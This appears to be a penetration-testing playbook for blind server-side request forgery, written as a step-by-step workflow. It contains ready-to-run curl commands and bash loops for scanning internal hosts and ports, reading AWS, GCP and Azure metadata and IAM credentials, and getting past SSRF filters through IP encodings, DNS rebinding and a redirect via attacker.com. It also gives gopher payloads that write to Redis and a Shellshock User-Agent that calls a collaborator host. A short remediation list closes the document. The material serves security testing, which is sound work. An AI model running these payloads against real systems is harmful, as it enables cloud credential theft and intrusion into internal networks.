Performing Blind SSRF Exploitation

When to Use

• When testing URL/webhook input parameters where server-side responses are not reflected
• During assessment of applications that fetch external resources (avatars, previews, imports)
• When testing PDF generators, image processors, or document converters for SSRF
• During cloud security assessments to detect metadata endpoint access
• When evaluating webhook functionality and URL validation implementations

Prerequisites

• Burp Suite Professional with Burp Collaborator for OOB detection
• interact.sh or webhook.site for external callback monitoring
• Understanding of SSRF attack vectors and internal network enumeration
• Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
• VPS or controlled server for advanced exploitation callback handling
• Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Step 2 — Confirm Blind SSRF with Out-of-Band Detection

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Step 3 — Enumerate Internal Network

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Step 4 — Access Cloud Metadata Endpoints

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Step 5 — Bypass SSRF Filters

# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

Step 6 — Escalate Blind SSRF to Data Exfiltration

# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

Key Concepts

Concept	Description
Blind SSRF	Server makes request but response is not visible to attacker
Out-of-Band Detection	Using external callbacks (DNS, HTTP) to confirm SSRF execution
DNS Rebinding	Technique to bypass IP-based SSRF filters by changing DNS resolution
Cloud Metadata	Instance metadata endpoints accessible via SSRF for credential theft
Gopher Protocol	Protocol allowing crafted payloads to interact with internal TCP services
Time-Based Detection	Detecting SSRF success by measuring response time differences
SSRF Chain	Combining SSRF with other vulnerabilities for greater impact

Tools & Systems

Tool	Purpose
Burp Collaborator	Out-of-band interaction server for DNS and HTTP callback detection
interact.sh	Open-source OOB interaction tool by ProjectDiscovery
SSRFmap	Automated SSRF detection and exploitation framework
Gopherus	Generate gopher payloads for exploiting internal services via SSRF
webhook.site	Free webhook receiver for testing SSRF callbacks
rebinder.net	DNS rebinding service for bypassing SSRF IP filters

Common Scenarios

1. Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
2. Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
3. Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
4. Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
5. PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents

Output Format

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers